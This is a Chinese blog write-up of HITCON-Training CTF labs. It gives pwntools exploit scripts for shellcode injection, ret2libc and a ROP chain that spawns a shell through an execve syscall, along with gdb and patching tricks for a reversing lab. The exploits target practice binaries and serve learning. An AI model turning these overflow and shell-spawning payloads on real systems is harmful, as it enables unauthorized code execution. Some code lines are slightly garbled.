zoukankan      html  css  js  c++  java
  • HITCON-Training-master 部分 Writeup(1月30更新)

    0x01.lab3

    首先checksec一下,发现连NX保护都没开,结合题目提示ret2sc,确定可以使用shellcode得到权限。

    IDA查看伪代码

    大致分析:

    将shellcode写入name数组,v4溢出之后定向至name所在地址从而运行shellcode。

    代码如下:

    # -*- coding:utf-8 -*-
    __Author__ = 'L1B0'
    from pwn import *
    
    elf = ELF('./ret2sc')
    io = process('./ret2sc')
    
    io.recvuntil(':')
    payload1 = asm(shellcraft.sh())
    io.sendline(payload1)
    
    io.recvuntil(':')
    name_addr = 0x0804A060
    payload2 = flat(['a' * 0x1C + 'f**k' , name_addr])
    io.sendline(payload2)
    
    io.interactive()
    

    0x02. lab4

    大致分析:

    首先checksec一下,发现开了NX保护,但是没开栈保护,于是栈溢出。

    IDA查看伪代码

    一开始认为这是再也普通不过的代码...后来才知道大有玄机。

    第一:see_something这个函数可以将你输入的地址找到其在运行中的真实地址,这很重要。

    第二:像read,puts这样简单的函数可以被用来寻找“偏移量“。

    解题思路:

    首先获取libc库的版本,在M4x学长的指导下了解到ldd这个命令。

    得到libc版本及所在位置:libc.so.6 & /lib/i386-linux-gnu/libc.so.6

    然后就是得到偏移量,计算出system函数和“/bin/sh”字符串的真实地址,获取shell。

    代码如下:

    # -*- coding:utf-8 -*-
    __Author__ = 'L1B0'
    from pwn import *
    
    io = process('./ret2lib')
    elf = ELF('./ret2lib')
    
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    puts_libc = libc.symbols['puts']
    system_libc = libc.symbols['system']
    binsh_libc = libc.search('/bin/sh').next()
    
    puts_got = elf.got['puts']
    io.recvuntil(':')
    io.sendline(str(puts_got))
    io.recvuntil('0x')
    puts_addr = int(io.putsuntil('
    '),16)
    #print puts_addr
    
    offset = puts_addr - puts_libc
    system_addr = system_libc + offset
    binsh_addr = binsh_libc + offset
    
    io.recvuntil(':')
    payload = flat([ 'a'*60 , system_addr , 0xdeadbeef , binsh_addr ])
    io.sendline(payload)
    
    io.interactive()
    io.close()
    

    0x03. lab5

    这题开的保护和上题一样,不过思路相差甚多。由于我也只用了一种方法,在这里就记录一下。

    小知识:

    寄存器中有eax,ebx,ecx,edx等。

    Linux下的系统调用通过int 80h实现,用系统调用号来区分入口函数,其中寄存器eax存放调用号,剩下的几个参数存放参数。

    解题思路:

    有了前面的知识的了解,可以大致知道解题过程。

    我们需要调用的是system函数,其调用号为0xb,于是eax里存放的就是0xb;

    接下来应该有三个参数,其中ebx = “/bin/sh", ecx = 0, edx = 0。但是有一个问题,32位寄存器只能存放4个字节大小的数据,而“/bin/sh”有7个字节。这里我们可以把“/bin/sh”存进.data段,ebx存放.data段的地址,从而达到目的。

    代码如下:

    # -*- coding:utf-8 -*-
    __Author__ = 'L1B0'
    from pwn import *
    
    io = process('./simplerop')
    
    eax_ret = 0x080bae06
    edx_ret = 0x0806e82a
    edx_ecx_ebx_ret = 0x0806e850
    data_addr = 0x080EA060
    gadget_ret = 0x0809a15d # mov dword ptr [edx], eax ; ret
    int_0x80_addr = 0x080493e1
    
    # 写入data段
    
    # 第一句首先将read溢出至return,然后将对data_addr赋给edx,将“/bin”字符串赋给eax;
    # 接着用gadget将eax的值赋给edx的值(即data_addr)的内容。
    payload = flat(['a'*32, edx_ret, data_addr, eax_ret, "/bin",gadget_ret])
    # 第二句作用类似。
    payload += flat([edx_ret, data_addr+4, eax_ret, "/shx00", gadget_ret])
    
    # 调用系统execve
    # 这里执行之后的结果是:eax = 0xb, ebx = data_addr, ecx = 0, edx = 0
    payload += flat([edx_ecx_ebx_ret, 0, 0, data_addr, eax_ret, 0xb, int_0x80_addr])
    
    io.recvuntil(":")
    io.sendline(payload)
    io.interactive()
    

    0x04 [HITCON-training] lab1

    这题我用了三种方法,这里记录一下

    方法一:当逆向直接做

    这题如果当逆向做的话就很简单了,主要记录一个小技巧

    来源:http://www.cnblogs.com/WangAoBo/p/7706719.html

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    
    key1 = 'Do_you_know_why_my_teammate_Orange_is_so_angry???'
    key2 = [7,073,25,2,11,16,61,30,9,8,18,45,40,89,10,0,30,22,0,4,85,22,8,31,7,1,9,0,126,28,62,10,30,11,107,4,66,60,44,91,49,85,2,30,33,16,76,30,66]
    flag = ''
    for i in range(len(key1)):
    	flag += chr( ord(key1[i]) ^ key2[i] )
    print flag
    
    #CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}
    

    方法二:动态调试,使得我们输入的v2等于随机出来的buf

    首先在函数get_flag和scanf处下断点

    b *0x0804859B
    b *0x08048712
    

    运行,两次c(ontinue)后到达输入,随便输入一个数,这里我输入132,n(ext)。

    然后发现,如果edx=eax,便可通过验证。

    [----------------------------------registers-----------------------------------]
    EAX: 0x84 
    EBX: 0x0 
    ECX: 0x1 
    EDX: 0x31f9d99 
    ESI: 0x1 
    EDI: 0xf7fb1000 --> 0x1b2db0 
    EBP: 0xffffd428 --> 0xffffd438 --> 0x0 
    ESP: 0xffffd3a0 --> 0x804a020 --> 0xf7e5dff0 (<setvbuf>:	push   ebp)
    EIP: 0x8048720 (<get_flag+389>:	cmp    edx,eax)
    EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x8048717 <get_flag+380>:	add    esp,0x10
       0x804871a <get_flag+383>:	mov    edx,DWORD PTR [ebp-0x80]
       0x804871d <get_flag+386>:	mov    eax,DWORD PTR [ebp-0x7c]
    => 0x8048720 <get_flag+389>:	cmp    edx,eax
       0x8048722 <get_flag+391>:	jne    0x8048760 <get_flag+453>
       0x8048724 <get_flag+393>:	mov    DWORD PTR [ebp-0x78],0x0
       0x804872b <get_flag+400>:	jmp    0x8048758 <get_flag+445>
       0x804872d <get_flag+402>:	lea    edx,[ebp-0x6f]
    

    于是在运行到cmp处,

    set $eax=0x31f9d99 
    或者 set $edx=0x84
    

    然后一直n(ext)执行,便可在eax处看到flag的每一位(因为程序中是putchar,故只能一个一个看)。

    方法三:将验证的地方patch

    Edit->Patch program->Assemble: nop

    0x05. 写在最后

    这里主要想记录下如何寻找刚好能覆盖到return_addr的字节数,我用的是gdb-peda提供的pattern_create和pattern_offset。

    以lab4为例:

    首先在lab4目录下执行

    root@libo:~/Desktop/HITCON-Training-master/LAB/lab4# gdb ret2lib
    gdb-peda$ pattern_create 200
    gdb-peda$ r
    

    第一个输入点不是我们需要的,所以这里我输入的是main函数的地址134514045(十进制)。

    第二个输入点输入之前pattern_create的字符串使其溢出,然后执行pattern_offset得到覆盖到return的字节数。

    作者: LB919

    出处:http://www.cnblogs.com/L1B0/

    如有转载,荣幸之至!请随手标明出处;

  • 相关阅读:
    java工具类4-分布式id生成器
    java工具类3-签名加密
    java工具类2-获取文件base64
    Java SE入门(十)——继承与抽象
    Java SE入门(九)——静态和代码块
    Java SE入门(八)——IO流基础
    Java SE入门(七)——Java集合与实例
    Java SE入门(六)——常用基础API
    Java SE入门(五)——面向对象基础
    Java SE入门(四)——函数与方法
  • 原文地址:https://www.cnblogs.com/L1B0/p/8022553.html
Copyright © 2011-2022 走看看